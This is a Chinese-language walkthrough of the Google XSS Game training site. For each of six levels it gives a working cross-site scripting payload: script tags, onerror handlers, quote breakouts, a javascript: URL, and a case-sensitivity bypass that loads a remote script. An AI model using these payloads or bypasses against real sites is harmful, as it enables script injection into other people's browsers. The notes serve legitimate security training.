Google XSS Game通关笔记

Level 1: Hello, world of XSS

payload: <script>alert(1);</script>

xss挖掘最重要的就是找到输入输出点,输入就是页面的那个搜索框(input标签),输出在b标签中:

Google XSS Game通关笔记
直接用最普通的payload测试,发现没有过滤。

Level 2: Persistence is key

输出还是在标签之间,不过这次是blockquote标签,而且测试发现<script>alert(1);</script>不能执行,换一个payload:<img src=# onerror=alert(1);>,就可以执行

Level 3: That sinking feeling…

输入输出点分别如下:

Google XSS Game通关笔记输出点在img标签的src属性中,我们可以闭合单引号,payload: ' onerror=alert(1)//

Level 4: Context matters

payload:3');alert('1

点击create timer按钮过后,查看元素,可以观察到输出点有两个,一个是在onload方法中,一个是div标签之间
Google XSS Game通关笔记我最开始尝试的是闭合div标签,但是发现尖括号被html实体编码了,在这种情况下闭合div标签这条路就不可行了,但是另一个输出点是在js环境中(onload属性的值是属于js环境),而在这种情形下,浏览器的解码顺序为html->js,所以,如果这里只是进行了html实体编码是不能够预防xss的,当我们输入payload:3');alert('1的时候,单引号在后端会被html实体编码,然后输出到onload属性中,但是我们之前说了,onload中的解码顺序是先html解码,然后js解码,所以在执行js的时候,我们的payload已经是被html解码了,就可以闭合单引号了,从而触发了xss.

Level 5: Breaking protocol

输出点:a标签的href属性中

Google XSS Game通关笔记
我们可以使用javascript写一构造payload: javascript:alert(1);

Level 6: Follow the ????

这一题是根据url锚点的值来加载js:

Google XSS Game通关笔记但是当我们输入http://xxxx/haha.js加载远程js的时候,会被拦截,提示不能加载包含http的地址,看了js函数实现后发现,他只是过滤了小写的http与https,suoyi1,我们可以用大小写绕过:

payload1:HTTP://xxxxx/haha.js
其他payloads:
payload2:data:text/javascript,alert(1)
payload3://xxxxx.com/haha.js

script标签的src属性如果是//xxx.com/hhah.js格式,那么使用的协议就与站点的协议一致,我这里使用的xss-game网址是http协议的,有些小伙伴可能使用的是https版本的,这个时候你可以切换到http协议,或者自己找一个https的服务器并把弹窗js文件放上去,一样可以弹窗